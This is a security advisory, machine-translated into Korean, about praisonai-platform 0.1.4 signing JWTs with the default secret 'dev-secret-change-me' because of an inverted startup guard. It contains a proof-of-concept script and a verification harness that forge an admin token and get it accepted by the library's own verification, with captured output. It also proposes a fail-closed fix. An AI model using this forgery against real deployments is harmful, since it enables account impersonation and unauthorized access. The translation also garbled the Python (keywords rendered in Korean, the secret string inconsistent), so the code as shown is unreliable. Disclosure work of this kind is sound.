praisonai-platform: 기본 JWT 서명 비밀 'dev-secret-change-me'를 사용하면 토큰 위조가 가능합니다.
dev-secret-change-me연구원: Kai Aizen — SnailSploit(@SnailSploit), 적대적 및 공격적 보안 연구 대상: https://github.com/MervinPraison/PraisonAI
패키지: PyPI의 praisonai-platform
최신 버전(및 테스트된 버전): '0.1.4', 2026년 6월 1일 기준 최신 버전입니다.
파일: praisonai_platform/services/auth_service.py(sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).
약점: CWE-798 하드코딩된 자격 증명 사용 + CWE-1188 리소스의 안전하지 않은 기본 초기화.
praisonai_platform/services/auth_service.py 라인 25-37:
``파이썬 _DEFAULT_SECRET = "개발-비밀-변경-나" JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET) JWT_ALGORITHM = "HS256" JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))
JWT_SECRET == _DEFAULT_SECRET 및 os.environ.get("PLATFORM_ENV", "dev") != "dev"인 경우: RuntimeError( "PLATFORM_JWT_SECRET은 프로덕션에서 강력한 임의 값으로 설정되어야 합니다." "개발 중에 이 검사를 억제하려면 PLATFORM_ENV=dev를 설정하십시오." )
33행의 가드는 "기본 비밀을 사용하여 프로덕션에 배포" 실패 모드를 포착하기 위한 것입니다. 하지만 **둘 다** 다음과 같은 경우에만 실행됩니다.
- 연산자는 `PLATFORM_JWT_SECRET`을 설정하지 않은 상태로 둡니다(따라서 `JWT_SECRET`이 기본 리터럴임) **및**
- 운영자가 `PLATFORM_ENV`를 `"dev"`가 아닌 다른 것으로 명시적으로 설정했습니다.
운영자가 **둘 모두** 환경 변수를 설정하지 않은 상태로 두면(가장 일반적인 잘못된 배포) `PLATFORM_ENV`가 `"dev"`로 대체되고 `and`의 두 번째 구간은 `False`를 평가하며 가드는 실행되지 않습니다. 서버는 공개 문자열 `'dev-secret-change-me'`를 사용하여 모든 JWT에 서명을 시작합니다.
해결 방법은 극성을 반전시키는 것입니다. 명시적인 `PLATFORM_ALLOW_DEV_SECRET=true`(또는 이에 상응하는) 플래그가 설정된 경우를 제외하고 비밀이 `PLATFORM_ENV`의 기본 **에 관계없이**인 경우 시작을 거부합니다. 이는 "default-allow"를 "default-deny"로 바꾸는데, 이는 33행 주석에서 작성자가 원했음을 의미합니다.
## 근본 원인
auth_service.py의 33행을 읽으면 예상되는 동작: "좋습니다. 프레임워크가 프로덕션 시작을 거부합니다. 기본 문자열 비밀입니다. 공사로 인해 안전해요."
실제 동작: - 설정되지 않은 경우 PLATFORM_ENV의 기본값은 'dev'입니다. - 경비원은 PLATFORM_ENV != 'dev'를 확인하지만 PLATFORM_ENV == 'production'은 확인하지 않습니다. 또는 "운영자가 개발 비밀을 사용하도록 명시적으로 선택했습니다." - 따라서 "env var를 설정하지 않고 배포" 구성 — 일반적 first-pip-install 또는 빠른 시작 docker의 경우 — 자동으로 설치됩니다. 공개 비밀을 사용한 개발 모드.
영향: 운영자가 명시적으로 신호를 보내도록 요구하는 가드 "생산"은 신호를 보내는 것을 잊은 운영자를 잡을 수 없습니다. 신호를 잊은 경우는 경비원이 설계한 것입니다. 잡다.
## 실증적 검증
`poc/poc.py`는 두 환경 변수가 모두 설정되지 않은 상태에서 **설치된** PyPI 패키지(`praisonai-platform==0.1.4`)를 가져옵니다.
[1] auth_service.py:33 상태의 시작 가드 입력: JWT_SECRET = '개발-비밀-변경-나' _DEFAULT_SECRET = '개발-비밀-변경-나' PLATFORM_ENV = 'dev'(기본값 'dev') -> JWT_SECRET == _DEFAULT_SECRET: 참 -> PLATFORM_ENV != 'dev': 거짓 -> 경비 사격? 거짓
[2] 모듈 sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 JWT_ALGORITHM: 'HS256'
[3] 라이브 JWT_SECRET으로 서명된 JWT를 위조합니다. 단조 헤드: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[4] jwt.decode(forged_token, JWT_SECRET) — 다음과 동일한 호출 auth_service.py:139의 AuthService._verify_token decoded.sub = 관리자-사용자-ID-공격자-선택 decoded.email= admin@example.com
[5] AuthService._verify_token(forged_token) (라이브 메서드 호출) Identity.id = 관리자-사용자-ID-공격자-선택 Identity.email = admin@example.com
평결: 취약함 0번 출구
[5]단계는 부하를 부담하는 단계입니다. 공격자 토큰은 FastAPI 종속성 `get_current_user`(`praisonai_platform/api/deps.py:28`) 호출과 **동일한 방법**으로 디코딩됩니다. 반환된 `AuthIdentity`에는 공격자가 선택한 `sub`(사용자 ID)와 `email`이 포함됩니다. `Depends(get_current_user)`(등록/로그인, 작업공간, 프로젝트, 문제, 에이전트, 레이블, 활동, 종속성)로 보호되는 모든 경로는 위조된 토큰을 신원 증명으로 허용합니다.
PyJWT 자체는 키가 HS256의 경우 RFC 7518 §3.2 최소 32바이트보다 낮은 20바이트라고 경고합니다.
## 영향
이는 인증 토큰에 서명하는 데 사용되는 하드코딩된 폴백인 친숙한 기본 비밀 형태입니다. 여기에는 작성자가 잘못된 구성을 포착하려고 *의도*했지만 극성이 잘못된 가드가 있다는 추가 트위스트가 있습니다. `praisonai_platform.api.app:create_app`의 모든 경로는 Bearer JWT를 통해 인증되며 모든 Bearer JWT는 공개 기본 비밀로 서명 및 확인됩니다. 인증되지 않은 네트워크 인접 공격자는 자신이 좋아하는 사용자 ID(및 이메일, 이름 등)가 포함된 토큰을 발행하고 플랫폼 서버는 그들을 해당 사용자로 취급합니다.
그런 다음 작업 공간 승인(`deps.py`의 `require_workspace_member`)은 위조된 사용자가 요청된 작업 공간의 멤버인지 확인합니다. 공격자가 알려진 회원의 ID와 동일한 `sub`를 포함하는 토큰을 발행하는 경우 해당 검사도 우회합니다. 기본 배포에서 작업 영역 ID와 구성원 ID는 공격자 자신의 위조 토큰을 포함하여 인증된 클라이언트에 대한 활동 및 레이블 끝점을 통해 노출됩니다.
## 앵커
`praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py`(파일 sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`):
| 라인 | 코드 | 의미 |
|-------|------------------|---------|
| 25 | `_DEFAULT_SECRET = "dev-secret-change-me"` | 공개 기본 리터럴. |
| 26 | `JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)` | Env-var 폴백 체인. |
| 27 | `JWT_ALGORITHM = "HS256"` | HMAC-SHA256을 기본 키로 사용합니다. |
| 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError(...)` | 비대칭 가드. `PLATFORM_ENV`의 기본값은 `"dev"`이므로 `!= "dev"` 검사는 설정을 잊어버린 경우에 대해 `False`를 평가합니다. |
| 108-118 | `_issue_token(...)`은 `jwt.encode(payload, JWT_SECRET, …)`를 호출합니다 | 서명 사이트. |
| 137-150 | `_verify_token(...)`은 `jwt.decode(token, JWT_SECRET, 알고리즘=[JWT_ALGORITHM])`을 호출합니다 | 검증 사이트 — 공격자가 위조한 토큰을 허용합니다. |
`praisonai_platform/api/deps.py:28` `get_current_user`는 `_verify_token`으로 라우팅되는 `AuthService.authenticate({"token": token})`을 호출합니다. `praisonai_platform.api.app` 아래의 모든 라우터는 이 종속성 뒤에 핸들러를 마운트합니다.
## 제안된 수정 사항
가드 극성 반전:
``파이썬
비밀 가져오기
_DEFAULT_SECRET = "개발-비밀-변경-나"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))
JWT_SECRET이 아닌 경우:
# 운영자가 명시적으로 신호를 보낼 때만 개발자 폴백을 허용합니다.
# 그들은 그것을 이해합니다. 기본 상태는 페일클로즈입니다.
os.environ.get("PLATFORM_ALLOW_DEV_SECRET", "").lower() == "true"인 경우:
JWT_SECRET = _DEFAULT_SECRET
그 외:
RuntimeError(
"PLATFORM_JWT_SECRET이 필요합니다."
"로컬 개발의 경우에만 PLATFORM_ALLOW_DEV_SECRET=true로 설정하세요."
)
이 패턴은 Django의 SECRET_KEY 첫 번째 부팅 생성(설정 해제 시 시작 거부) 및 많은 프로덕션 Docker 이미지에서 사용되는 첫 번째 부팅 비밀 생성 패턴에서 차용되었습니다. 마커 변수(PLATFORM_ALLOW_DEV_SECRET=true)는 배포 매니페스트에서 명시적이고 grep 가능하므로 이를 프로덕션으로 전달하는 운영자는 항상 기본적으로 통과하는 가드를 통과하는 대신 자체 감사/IaC 린터에 의해 포착됩니다.
git clone --length 1 https://github.com/MervinPraison/PraisonAIpoc.py)을 실행합니다.poc.py
``파이썬
"""
PoC: praisonai-platform의 기본 JWT 서명 키는 공개 리터럴입니다.
'dev-secret-change-me', 경비원이 생산을 거부하려고 함
시작 시 잘못된 축 확인 — 설정 없이 배치하는 작업자
PLATFORM_ENV는 dev로 처리되며 자동으로 공개 비밀을 가져옵니다.
전제 조건: pip 설치 praisonai-플랫폼 pyjwt """
hashlib 가져오기 수입 검사 수입 OS 수입 시스템
def main() -> int: # 현실적인 "운영자 pip 설치 praisonai-플랫폼 시뮬레이션" # env var" 배포를 설정하지 않고 uvicorn을 시작했습니다. ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV')의 env_var에 대해: os.environ의 env_var인 경우: 델 os.environ[env_var]
인쇄('=' * 72)
print('praisonai-platform — 기본 JWT 비밀')
인쇄('=' * 72)
시도해 보세요:
praisonai_platform.services에서 auth_service 가져오기
RuntimeError를 e로 제외:
print(f'\n예상치 못한 — 시작 시 가져오기 발생: {e}')
1을 반환
src=inspect.getsourcefile(auth_service)
open(src, 'rb')를 f로 사용:
sha = hashlib.sha256(f.read()).hexdigest()
인쇄()
print('[1] auth_service.py:33 상태의 시작 가드')
print(f' JWT_SECRET = {auth_service.JWT_SECRET!r}')
인쇄(f' _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}')
print(f" PLATFORM_ENV = {os.environ.get('PLATFORM_ENV', 'dev')!r} (기본값 'dev')")
print(' => "운영자가 둘 다 설정하는 것을 잊어버린" 실패 모드에서는 가드가 실행되지 않습니다.')
인쇄()
print('[2] 모듈 sha256 + LIVE 설치된 패키지의 키 바인딩')
print(f' sha256: {sha}')
print(f' JWT_ALGORITHM: {auth_service.JWT_ALGORITHM!r}')
auth_service.JWT_SECRET != 'dev-secret-change-me'인 경우:
print('예상치 못한 — JWT_SECRET은 공개 리터럴이 아닙니다.')
1을 반환
JWT 가져오기
datetime import datetime, timedelta, 시간대에서
지금 = datetime.now(timezone.utc)
forged_payload = {
'하위': '관리자-사용자-ID-공격자-선택',
'이메일': 'admin@example.com',
'name': '스푸핑된 관리자',
'iat': 지금,
'exp': 현재 + timedelta(초=3600),
}
forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, 알고리즘=auth_service.JWT_ALGORITHM)
인쇄()
print('[3] 라이브 JWT_SECRET으로 서명된 JWT를 위조합니다')
print(f' 위조된 헤드: {forged_token[:70]}...')
디코딩 = jwt.decode(forged_token, auth_service.JWT_SECRET, 알고리즘=[auth_service.JWT_ALGORITHM])
인쇄()
print('[4] jwt.decode(forged_token, JWT_SECRET) — AuthService._verify_token과 동일한 호출')
print(f' decoded.sub = {decoded.get("sub")}')
print(f' decoded.email= {decoded.get("email")}')
decoded.get('sub') != 'admin-user-id-attacker-chose'인 경우:
print('예상치 못한 — 디코딩된 페이로드가 일치하지 않습니다.')
1을 반환
시도해 보세요:
svc = auth_service.AuthService(세션=없음)
신원 = svc._verify_token(forged_token)
e와 같은 예외를 제외하고:
print(f' (_verify_token에 도달할 수 없습니다: {e!r})')
정체성 = 없음
ID가 None이 아닌 경우:
인쇄()
print('[5] AuthService._verify_token(forged_token) (라이브 메소드 호출)')
print(f' 신원.id = {identity.id}')
print(f' 신원.이메일 = {identity.email}')
인쇄()
print("취약함: praisonai-플랫폼은 JWT_SECRET을 공개로 기본 설정합니다.")
print(" 리터럴 'dev-secret-change-me'. line-33 가드 전용")
print(" PLATFORM_ENV가 명시적으로 'dev'가 아닌 경우 시작을 거부합니다.")
print(' 그리고 비밀은 기본값입니다 — 설정을 잊어버린 운영자')
print(' 환경 변수 전체가 조용히 개발 모드에 있습니다.')
print('판정: 취약함')
0을 반환
name == 'main'인 경우: sys.exit(메인())
## 검증 하네스(복제된 저장소에 대해 실행됨)
이는 재생산이 아닌 수정되지 않은 업스트림 코드를 구동합니다.
``파이썬
가져오기 sys, 유형, importlib.util, os
os.environ.pop("PLATFORM_JWT_SECRET", 없음); os.environ.pop("PLATFORM_ENV", None) # 기본 배포
BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform")
def 패키지(이름, 경로=없음):
m=types.ModuleType(이름)
만약 경로: m.__path__=[경로]
sys.modules[이름]=m; m을 돌려주다
def 스텁(이름, **a):
m=types.ModuleType(이름); [a.items()의 k,v에 대한 setattr(m,k,v)]; sys.modules[이름]=m
pkg("praisonai_platform", BASE+"/praisonai_platform")
pkg("praisonai_platform.services", BASE+"/praisonai_platform/services")
pkg("praisonai_platform.db", BASE+"/praisonai_platform/db")
stub("praisonai_platform.db.models", Member=type("회원",(),{}), User=type("사용자",(),{}))
stub("sqlalchemy", select=lambda *a,**k:None)
sa_async=types.ModuleType("sqlalchemy.ext.asyncio"); sa_async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa_async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext")
스텁("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{"__init__":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b}))
stub("praisonaiagents")
클래스 인증 ID:
def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=유형; self.email=이메일; self.name=이름
스텁("praisonaiagents.auth", AuthIdentity=AuthIdentity)
spec=importlib.util.spec_from_file_location("praisonai_platform.services.auth_service", BASE+"/praisonai_platform/services/auth_service.py")
mod=importlib.util.module_from_spec(spec); mod.__package__="praisonai_platform.services"
sys.modules[사양.이름]=mod; spec.loader.exec_module(mod) # REAL auth_service.py
print("[*] REAL 모듈 JWT_SECRET =", 담당자(mod.JWT_SECRET), "| _DEFAULT_SECRET =", 담당자(mod._DEFAULT_SECRET))
AuthService=mod.AuthService
svc=AuthService.__new__(AuthService) # DB 우회 __init__
FakeUser=type("U",(),{"id":"attacker-id","email":"attacker@evil.test","name":"admin"})
tok=svc._issue_token(FakeUser) # REAL _issue_token (기본 비밀)
print("[*] REAL _issue_token ->", tok[:46],"...")
ident=svc._verify_token(tok) # REAL _verify_token
print("[+] REAL _verify_token ->", {"id":ident.id,"email":ident.email,"name":ident.name})
ident 및 ident.id=="attacker-id" 및 mod.JWT_SECRET=="dev-secret-change-me"를 주장하십시오.
print("[+] 실제 praisonai-플랫폼 저장소에 대해 확인됨: 기본 'dev-secret-change-me' 문제+ 저장소의 자체 _issue_token/_verify_token을 통해 토큰을 확인합니다(PLATFORM_ENV 기본값이 'dev'이므로 가드가 건너뛰었습니다)")
이 PoC는 라이브 업스트림 코드에 대해 실행되었습니다. 캡처된 출력:
[*] REAL 모듈 JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = '개발-비밀-변경-나'
[*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...
[+] REAL _verify_token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'}
[+] 실제 praisonai-platform repo에 대해 확인됨: 기본 'dev-secret-change-me' 문제+repo의 자체 _issue_token/_verify_token을 통해 토큰을 확인합니다(PLATFORM_ENV의 기본값이 'dev'이므로 가드를 건너뛰었습니다).
카이 아이젠 — SnailSploit(@SnailSploit). 적대적 및 공격적 보안 연구.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 98.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 98.00 |
VPI 공식 vpi-v1 기준